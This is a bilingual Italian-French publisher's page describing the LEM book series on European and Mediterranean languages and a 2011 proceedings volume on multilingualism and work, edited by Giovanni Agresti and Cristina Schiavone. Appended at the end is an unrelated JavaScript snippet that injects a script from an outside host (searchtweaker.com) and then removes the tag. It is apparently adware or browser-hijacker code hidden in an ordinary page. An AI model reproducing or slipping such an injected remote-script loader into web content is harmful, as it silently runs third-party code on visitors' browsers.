La collana LEM "Lingue d'Europa e del Mediterraneo" vuol essere uno stru -mento per aggiornare e approfondire il dibattito scientifico aperto in spe cial modo dal portale LEM. Collana e portale condividono non solo i temi ma anche l'accessibilità, perseguendo la massima ergonomia nella trasmis sio ne dei saperi, sia nel linguaggio critico, sia a livello editoriale. Si intende co sì orientare il rigore dell'analisi verso una ricaduta sociale delle varie ricerche ispirate alla promozione, diretta o indiretta, delle lingue d'Europa e del Mediterraneo, siano esse nazionali, regionali, locali, ufficiali, veicolari, minoritarie. Ne deriva la scelta di privilegiare alcune aree della ricerca linguistica, rappresentate nelle seguenti sezioni della collana, evidentemente comunicanti, ciascuna posta sotto la responsabilità di uno o più specialisti af filiati al progetto LEM.
I. Diritti linguistici (Fernand de Varennes)
II. Pianificazione linguistica (Alain Di Meglio)
III. Economia della lingua (Alain Alcouffe)
IV. Sociolinguistica (Tullio Telmon)
V. Analisi del discorso (Giovanni Agresti)
VI. Scrittura e oralità (Alberto Sobrero, Annarita Miglietta)
VII. Grammatica comparata (Michele De Gioia)
VIII. Didattica delle lingue moderne (Paola Desideri, Enrica Galazzi)
Giovanni Agresti est chercheur en Linguistique française à l'Université de Teramo. Il est également spécialiste de langue et littérature occitane contemporaine. Il a créé la conférence permanente internationale Journées des Droits Linguistiques et coordonne le réseau italien du projet Langues d'Europe et de la Méditerranée (LEM).
Cristina Schiavone est chercheure en Langue et traduction française à l'Université de Macerata (Dipartimento di Studi Umanistici – Lingue, Mediazione, Storia, Lettere, Filosofia). Ses domaines de recherche concernent la variation sociolinguistique africaine (contact et interférence, plurilinguisme/pluriculturalisme, politiques linguistiques, francophonies, traduction, altérité et identité).
Les cinquièmes Journées des Droits Linguistiques ont salué le lancement du cycle de colloques itinérants intitulé « Plurilinguisme et monde du travail ». L'enjeu principal posé par ce cycle de conférences était de montrer notamment le volet « pratique » et « économique » du plurilinguisme. Nous proposons ici l'analyse, souvent dans les menus détails, des professions, opérateurs et acteurs de la diversité linguistique.
Plurilinguisme et monde du travail
Professions, opérateurs et acteurs de la diversité linguistique
Actes des Cinquièmes Journées des Droits Linguistiques (Teramo-Giulianova-Civitanova Marche, 19-21 mai 2011)
Sous la direction de Giovanni Agresti, Cristina Schiavone
ISBN 978-88-548-6271-5
Aracne editirice 25€
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();